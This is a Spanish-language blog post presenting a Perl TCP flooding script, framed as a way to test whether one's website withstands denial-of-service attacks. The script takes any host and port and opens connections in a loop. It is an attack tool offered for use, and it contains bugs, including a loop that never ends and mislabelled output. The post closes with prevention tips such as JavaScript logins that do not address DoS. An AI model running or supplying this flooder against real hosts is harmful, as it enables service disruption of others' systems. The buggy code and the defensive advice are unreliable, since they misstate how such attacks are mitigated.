Pen-Test Denial Of Service

El Denial Of Service es un Ataque mas que popular todos en sus Pcs tienen una Tool de D.O.S y bueno, la cosa es que con este ataque te pueden perjudicar muchisimo entonces una manera de ver si nuestra web es vulnerable pues es ejecutando el siguente code y si ponen 1000 sockets o 2000 y cuando quieren entrar a la web les sale como que no existe pues entonces son vulnerables a ataques D.O.S

¿en que consiste el ataque D.O.S?
- Para los que no saben es una denegación de servicio hace muchas peticiones hasta que el host no responda y aparesca como que no existe.

use IO:Socket 
  
#Simple TCP Flooder 
#Mi proposito es solo enseñar... 
#Dédalo --> entren a www.seguridadblanca.blogspot.com 
#Programa hecho por Dédalo 
  
print "Introduzca el host: \n"; 
  
$host=<STDIN>; 
  
chomp($host); 
  
print "Introduzca el puerto: \n"; 
  
$puerto=<STDIN>; 
  
chomp($puerto); 
  
print "Número de paquetes: \n"; 
  
$sock=<STDIN>; 
  
chomp($sock); 
  
  
  
for($i=0;$i<$sock;$sock++) 
  
{ 
  
  
  
   $hecho= IO::Socket::INET->new(Proto=>"TCP",PeerAddr=> "$host", PeerPort=> $puerto) || print "Sus Peticiones han sido enviadas\n"; 
  
   print $hecho $port; 
  
} 
  
print "Hecho por Dedalo\n"; 
print "www.dragonjar.org\n"; 
print "mail camilo.galdos[at]dragonjar.org\n";  



Si es que son vulnerables pues les puedo dar unos consejitos para no ser atacados asi:

1.- pongan logins con javascript antes de entrar a sus webs.

2.- Configuren Bien sus htaccess, Como Configurar Aquí

3.- Comprense host de calidad no de esos que caen con cualquier cosa =)

4.- No consigan enemigos...

Esas son mis recomendaciones y es lo que les puedo decir de como evitarlos =)

Saludos

Dr.White